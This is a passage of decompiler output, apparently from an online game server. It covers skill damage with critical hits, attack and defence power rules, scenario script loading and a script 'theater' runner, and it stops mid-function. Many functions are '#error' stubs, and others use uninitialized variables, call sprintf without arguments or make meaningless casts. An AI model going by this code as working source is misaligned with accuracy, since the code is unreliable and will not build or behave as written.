// eax@3 int v7; // esi@5 v5 = this; if ( !ef->efm_sklinfo ) { AssertClass::ac_AssertFail(&shineassert, "EngSklAtt::ena_attack : Null skill info", ef->efm_sklinfo != 0); return 0; } if ( !ef->efm_sklinfo->sdi_ServInf->UsualAttack ) return 0; v7 = EngSklAtt::esa_masicaldamage(this, a2, a3, ef); result = ef->efm_sklinfo->sdi_ServInf->DmgIncValue + (EngSklAtt::esa_physicaldamage(v5, a2, a3, ef) + v7) * ef->efm_sklinfo->sdi_ServInf->DmgIncRate / 0x3E8; rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (rndbox.rb_box[10].rs_point.value + 1); if ( rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] ) { *iscritical = 0; } else { result *= 2; *iscritical = 1; } return result; } //----- (004C4630) -------------------------------------------------------- #error "4C4630: undefined or illegal type '#325' (funcsize=153)" //----- (004C4880) -------------------------------------------------------- #error "4C4880: undefined or illegal type '#325' (funcsize=153)" //----- (004C4AC0) -------------------------------------------------------- #error "4C4AC0: undefined or illegal type '#325' (funcsize=153)" //----- (004C4D00) -------------------------------------------------------- #error "4C4D00: undefined or illegal type '#325' (funcsize=171)" //----- (004C4F90) -------------------------------------------------------- #error "4C4F90: undefined or illegal type '#325' (funcsize=62)" //----- (004C50A0) -------------------------------------------------------- #error "4C50A0: undefined or illegal type '#325' (funcsize=57)" //----- (004C51A0) -------------------------------------------------------- long double __thiscall RulesOfEngagementNormalPY::roe_DefendPower(RulesOfEngagementNormalPY *this, EngageArgument *argument) { RulesOfEngagement *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementNormalPY::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementNormalPY::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_AC(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagementNormalPY::roe_DefendPower"); return v3; } //----- (004C5250) -------------------------------------------------------- #error "4C5250: undefined or illegal type '#325' (funcsize=171)" //----- (004C54E0) -------------------------------------------------------- #error "4C54E0: undefined or illegal type '#325' (funcsize=62)" //----- (004C55F0) -------------------------------------------------------- #error "4C55F0: undefined or illegal type '#325' (funcsize=57)" //----- (004C56F0) -------------------------------------------------------- long double __thiscall RulesOfEngagementNormalMA::roe_DefendPower(RulesOfEngagementNormalMA *this, EngageArgument *argument) { RulesOfEngagement *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementNormalMA::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementNormalMA::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_MR(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagementNormalMA::roe_DefendPower"); return v3; } //----- (004C57A0) -------------------------------------------------------- #error "4C57A0: undefined or illegal type '#325' (funcsize=248)" //----- (004C5B30) -------------------------------------------------------- long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument) { RulesOfEngagementNormalPY *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagementNormalPY *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_CriticalRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementPhisycalSkill::roe_CriticalRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagementNormalPY::roe_CriticalRate(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_CriticalRate"); return v3; } //----- (004C5BE0) -------------------------------------------------------- #error "4C5BE0: undefined or illegal type '#325' (funcsize=104)" //----- (004C5D80) -------------------------------------------------------- long double __thiscall RulesOfEngagementPhisycalSkill::roe_DefendPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument) { RulesOfEngagementNormalPY *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagementNormalPY *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementPhisycalSkill::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagementNormalPY::roe_DefendPower(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_DefendPower"); return v3; } //----- (004C5E30) -------------------------------------------------------- #error "4C5E30: undefined or illegal type '#325' (funcsize=265)" //----- (004C6210) -------------------------------------------------------- #error "4C6210: undefined or illegal type '#325' (funcsize=62)" //----- (004C6320) -------------------------------------------------------- long double __thiscall RulesOfEngagementMagicalSkill::roe_AttackPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument) { RulesOfEngagement *v2; // edi@1 long double v3; // st7@1 ActiveSkillInfo *v4; // ebx@1 long double v5; // st7@1 __int16 v6; // ax@1 long double v7; // st7@1 double v8; // st6@2 double v9; // ST14_8@4 double MinMA; // [sp+4h] [bp-14h]@1 int argumenta; // [sp+1Ch] [bp+4h]@4 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_AttackPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementMagicalSkill::roe_AttackPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_MinMA(v2, argument); v4 = argument->sklinfo->sdi_Activ; MinMA = v3 + (double)argument->sklinfo->sdi_Activ->MinMA; v5 = RulesOfEngagement::roe_MaxMA(v2, argument); v6 = argument->empower._bf0; v7 = v5 + (double)v4->MaxMA; if ( v6 & 0xF ) v8 = (double)v4->nIMPT[(v6 & 0xF) + 3]; else v8 = 0.0; v9 = MinMA + v8; argumenta = RandomBox::rb_largerandom(&rndbox, (unsigned __int64)(v7 + v8 - v9)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_AttackPower"); return (double)argumenta + v9; } //----- (004C6470) -------------------------------------------------------- long double __thiscall RulesOfEngagementMagicalSkill::roe_DefendPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument) { RulesOfEngagement *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementMagicalSkill::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_MR(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_DefendPower"); return v3; } //----- (004C6520) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_NotifyParameterChange(void *this, char send) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Container::c_MakeTotal((char *)v2 + 4008); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"); } //----- (004C65C0) -------------------------------------------------------- #error "4C65C0: undefined or illegal type '#325' (funcsize=474)" //----- (004C6C60) -------------------------------------------------------- #error "4C6C60: undefined or illegal type '#325' (funcsize=461)" //----- (004C7250) -------------------------------------------------------- void __thiscall Movie::Theater::Theater(Movie::Theater *this) { Movie::Theater *v1; // esi@1 v1 = this; PineScriptStack::ProcessStack::ProcessStack(&this->t_Screen); ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(&v1->t_InterruptManager); PineScriptToken::pst_Clear(&v1->t_ScriptName); *(_DWORD *)&v1->t_Screen.gap10114[4] = v1; v1->t_TimeLimit.tl_Theater = v1; } //----- (004C72C0) -------------------------------------------------------- void __thiscall Movie::Theater::Theater(Movie::Theater *this, char *keyname) { Movie::Theater *v2; // esi@1 v2 = this; PineScriptStack::ProcessStack::ProcessStack(&this->t_Screen); ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(&v2->t_InterruptManager); PineScriptToken::PineScriptToken(&v2->t_ScriptName, keyname); *(_DWORD *)&v2->t_Screen.gap10114[4] = v2; v2->t_TimeLimit.tl_Theater = v2; } //----- (004C7330) -------------------------------------------------------- void __thiscall Movie::Theater::_Theater(Movie::Theater *this) { Movie::Theater *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->t_ScriptName); ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(&v1->t_InterruptManager); PineScriptStack::ProcessStack::_ProcessStack(&v1->t_Screen); } //----- (004C7390) -------------------------------------------------------- #error "4C7390: undefined or illegal type '#585' (funcsize=2)" //----- (004C73A0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5C40BC: using guessed type int (__stdcall *List_Movie__Theater____vftable_[3])(__int16 hnd); //----- (004C73C0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook(ScenarioBookShelf::ScenarioDescriptBook *this) { void *v1; // esi@1 v1 = this->sdb_Script; if ( this->sdb_Script ) { PineEventScript::_PineEventScript(this->sdb_Script); operator delete(v1); } } //----- (004C73E0) -------------------------------------------------------- char __thiscall ScenarioBookShelf::ScenarioDescriptBook::sdb_Load(ScenarioBookShelf::ScenarioDescriptBook *this, char *fname) { PineEventScript **v2; // edi@1 void *v3; // esi@1 void *v4; // eax@3 PineEventScript *v5; // eax@4 char result; // al@9 int errline; // [sp+0h] [bp-5Ch]@6 FunctionEntarance _; // [sp+4h] [bp-58h]@1 void *v9; // [sp+8h] [bp-54h]@3 char fnamebuf[64]; // [sp+Ch] [bp-50h]@1 unsigned int v11; // [sp+4Ch] [bp-10h]@9 int v12; // [sp+58h] [bp-4h]@1 v2 = (PineEventScript **)this; _.fe_FunctionCode = "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; sprintf(fnamebuf, "../9Data/Shine/ScenarioBookShelf/%s.ps"); v3 = *v2; if ( *v2 ) { PineEventScript::_PineEventScript(*v2); operator delete(v3); } v4 = operator new(0xCu); v9 = v4; LOBYTE(v12) = 1; if ( v4 ) PineEventScript::PineEventScript((PineEventScript *)v4); else v5 = 0; LOBYTE(v12) = 0; *v2 = v5; if ( PineEventScript::pes_Load(v5, fnamebuf, &errline) ) { --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"); } else { AssertClass::ac_AssertFail(&shineassert, fname, errline); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"); } __security_check_cookie(v11); return result; } //----- (004C7520) -------------------------------------------------------- void __thiscall ScenarioBookShelf::ScenarioBookShelf(ScenarioBookShelf *this) { ScenarioBookShelf *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 4u, 100, (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook); BTree::BTree(&v1->sbs_Tree); v1->sbs_Num = 0; } //----- (004C7580) -------------------------------------------------------- void __thiscall ScenarioBookShelf::_ScenarioBookShelf(ScenarioBookShelf *this) { void *v1; // esi@1 v1 = this; BTree::_BTree(&this->sbs_Tree); _eh_vector_destructor_iterator_( v1, 4u, 100, (void (__thiscall *)(void *))ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook); } //----- (004C75E0) -------------------------------------------------------- char __thiscall ScenarioBookShelf::sbs_Read(ScenarioBookShelf *this, char *fname) { ScenarioBookShelf *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::sbs_Read"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->sbs_Num; if ( (unsigned int)v3 >= 0x64 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_Read : Too many MBD", v3); LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); return 0; } if ( !ScenarioBookShelf::ScenarioDescriptBook::sdb_Load((ScenarioBookShelf::ScenarioDescriptBook *)v2 + v3, fname) ) goto LABEL_3; BTree::bt_Insert(&v2->sbs_Tree, fname, v2->sbs_Num++); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); return 1; } //----- (004C76F0) -------------------------------------------------------- PineEventScript *__thiscall ScenarioBookShelf::sbs_GetScript(ScenarioBookShelf *this, char *fname, int *scriptid) { ScenarioBookShelf *v3; // esi@1 int v4; // eax@1 PineEventScript *v5; // esi@3 PineEventScript *result; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&v3->sbs_Tree, fname); if ( v4 == -1 || v4 >= v3->sbs_Num ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::operator []"); result = 0; } else { *scriptid = v4; v5 = v3->sbs_Array[v4].sdb_Script; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::operator []"); result = v5; } return result; } //----- (004C77E0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbsReLoad(ScenarioBookShelf *this, const char *pkscriptname) { ScenarioBookShelf *v2; // esi@1 unsigned int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::sbsReLoad"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::sbsReLoad"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&v2->sbs_Tree, pkscriptname); if ( v3 == -1 ) { if ( !ScenarioBookShelf::sbs_Read(v2, (char *)pkscriptname) ) ++v2->sbs_Num; } else { ScenarioBookShelf::ScenarioDescriptBook::sdb_Load( (ScenarioBookShelf::ScenarioDescriptBook *)v2 + v3, (char *)pkscriptname); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbsReLoad"); } //----- (004C78A0) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::_CinemaComplex(Movie::CinemaComplex *this) { Movie::CinemaComplex *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_(this->cc_Theater, 0x12DE8u, 8, (void (__thiscall *)(void *))Movie::Theater::_Theater); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5C40BC: using guessed type int (__stdcall *List_Movie__Theater____vftable_[3])(__int16 hnd); //----- (004C7910) -------------------------------------------------------- int __thiscall Movie::Theater::t_NameCompare(Movie::Theater *this, List *lst, unsigned __int16 hnd, Movie::Theater *key) { Movie::Theater *v4; // esi@1 unsigned __int16 v5; // ax@1 int v6; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_NameCompare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_NameCompare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = PineScriptToken::operator__(&v4->t_ScriptName, key->t_ScriptName.pst_Buffer); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_NameCompare"); return v6; } //----- (004C79C0) -------------------------------------------------------- int __thiscall Movie::TimeLimit::tl_GetTimeLimit_Second(Movie::TimeLimit *this) { Movie::TimeLimit *v1; // esi@1 unsigned int v2; // kr00_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::TimeLimit::tl_GetTimeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::TimeLimit::tl_GetTimeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->tl_EndTick - clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::TimeLimit::tl_GetTimeLimit"); return v2 / 0xA; } //----- (004C7A30) -------------------------------------------------------- void __thiscall Movie::TimeLimit::tl_SetTimeLimit(Movie::TimeLimit *this, char *timeunit, int arg) { Movie::TimeLimit *v3; // esi@1 int v4; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::TimeLimit::tl_SetTimeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::TimeLimit::tl_SetTimeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->tl_IsActiv = 1; switch ( *timeunit ) { case 72: case 104: v4 = 3600 * arg; break; case 77: case 109: v4 = 60 * arg; break; default: v4 = arg; break; } v3->tl_EndTick = clockwatch.cw_CurrTick + 10 * v4; v3->tl_RestMinuteSend = (unsigned int)&wholesaver.ws_savestore[1156].esc_abstate.buffer[3239]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::TimeLimit::tl_SetTimeLimit"); } //----- (004C7B10) -------------------------------------------------------- #error "4C7B10: undefined or illegal type '#325' (funcsize=77)" //----- (004C7C40) -------------------------------------------------------- #error "4C7C40: undefined or illegal type '#585' (funcsize=20)" //----- (004C7CB0) -------------------------------------------------------- char __thiscall Movie::Theater::t_Routine(Movie::Theater *this, List *lst, unsigned __int16 handle) { PineScriptStack::ProcessStack *v3; // esi@1 v3 = (PineScriptStack::ProcessStack *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !PineScriptStack::ProcessStack::ps_Step(v3, handle) ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_Routine"); return 1; } //----- (004C7D60) -------------------------------------------------------- int __thiscall Movie::Theater::t_PlayFilm(Movie::Theater *this, char *scriptname, PineScriptToken *initval) { Movie::Theater *v3; // esi@1 signed int v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 char *v7; // eax@1 PineEventScript *v8; // eax@1 PineEventScriptNode::Script *v9; // eax@2 void *v10; // eax@2 int result; // eax@6 PineScriptToken name; // [sp+4h] [bp-210h]@1 PineScriptToken initvariable; // [sp+104h] [bp-110h]@2 unsigned int v14; // [sp+204h] [bp-10h]@6 int v15; // [sp+210h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_PlayFilm"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; PineScriptToken::PineScriptToken(&name, scriptname); LOBYTE(v15) = 1; v5 = PineScriptToken::pst_Clear(&v3->t_ScriptName); v6 = PineScriptToken::pst_Merge(v5, &name); MoveManager::MoveManager((DiceTaiSai *)v6); v8 = ScenarioBookShelf::sbs_GetScript(&scenarioshelf, v7, &v3->t_ScriptID); if ( v8 ) { MoveManager::MoveManager((DiceTaiSai *)v8); PineScriptStack::ProcessStack::ps_Ready(&v3->t_Screen, v9); v3->t_TimeLimit.tl_IsActiv = 0; PineScriptToken::PineScriptToken(&initvariable, "InitFlag"); LOBYTE(v15) = 2; v10 = PineScriptStack::ProcessStack::ps_PushVariable(&v3->t_Screen, &initvariable); if ( v10 ) { memcpy(v10, initval, 0x100u); v4 = -1; } LOBYTE(v15) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initvariable); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&name); --funcallanalizer.fca_stackpoint; v15 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); } else { LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&name); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); } __security_check_cookie(v14); return result; } //----- (004C7F10) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004C7F60) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbs_ReadNAssert(ScenarioBookShelf *this, char *scriptname) { if ( !ScenarioBookShelf::sbs_Read(this, scriptname) ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_ReadNAssert : Script Load Error", scriptname); ShineExit("ScenarioBookShelf::sbs_ReadNAssert"); } } //----- (004C7FA0) -------------------------------------------------------- Movie::CinemaComplex *__thiscall Movie::CinemaComplex::cc_SetArgument(Movie::CinemaComplex *this, #585 *a2, #325 *a3) { Movie::Theater *v3; // esi@1 signed int v4; // edi@1 Movie::CinemaComplex *v6; // [sp+10h] [bp-4h]@1 v6 = this; v3 = this->cc_Theater; v4 = 8; do { Movie::Theater::t_SetArgument(v3, a2, a3); ++v3; --v4; } while ( v4 ); return v6; } //----- (004C7FE0) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::cc_ScriptInterrupt(Movie::CinemaComplex *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::CinemaComplex *v3; // edi@1 unsigned __int16 v4; // si@1 unsigned __int16 v5; // bx@2 ListStruct *v6; // ecx@3 int v7; // eax@3 bool v8; // cf@3 int v9; // edx@4 char v10; // al@4 int v11; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_ScriptInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_ScriptInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v5 = v3->baseclass_0.l_MaxSize; if ( v4 >= v5 ) break; v6 = v3->baseclass_0.l_Array; v7 = v4; v8 = v4 < v5; v4 = v6[v4].ls_Next; if ( v8 && (v9 = 3 * v7, v10 = v6[v7].ls_IsActiv, v11 = (int)&v6[4 * v9 / 0xCu], v10) ) checkfunc((ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)v11 + 66116), arg); else checkfunc((ScriptInterrupt::ScriptInterruptManager *)66116, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_ScriptInterrupt"); } //----- (004C80D0) -------------------------------------------------------- Movie::Theater *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(Movie::Theater *, List *, unsigned __int16, Movie::Theater *), unsigned __int16 *hnd, Movie::Theater *key) { Movie::Theater *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (004C8140) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004C8260) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbs_LoadScripts(ScenarioBookShelf *this) { char v1; // bl@1 int v2; // eax@1 int i; // ebx@4 void *v4; // esi@5 ORToken v5; // [sp-30h] [bp-1089Ch]@5 int v6; // [sp-2Ch] [bp-10898h]@5 int v7; // [sp-28h] [bp-10894h]@5 int v8; // [sp-24h] [bp-10890h]@5 int v9; // [sp-20h] [bp-1088Ch]@5 char *v10; // [sp-1Ch] [bp-10888h]@5 int v11; // [sp-18h] [bp-10884h]@5 int v12; // [sp-14h] [bp-10880h]@5 int *v13; // [sp-10h] [bp-1087Ch]@5 int type; // [sp+0h] [bp-1086Ch]@5 ORToken *v15; // [sp+4h] [bp-10868h]@5 OptionReader or; // [sp+8h] [bp-10864h]@1 unsigned int cookie; // [sp+1085Ch] [bp-10h]@13 int v18; // [sp+10868h] [bp-4h]@1 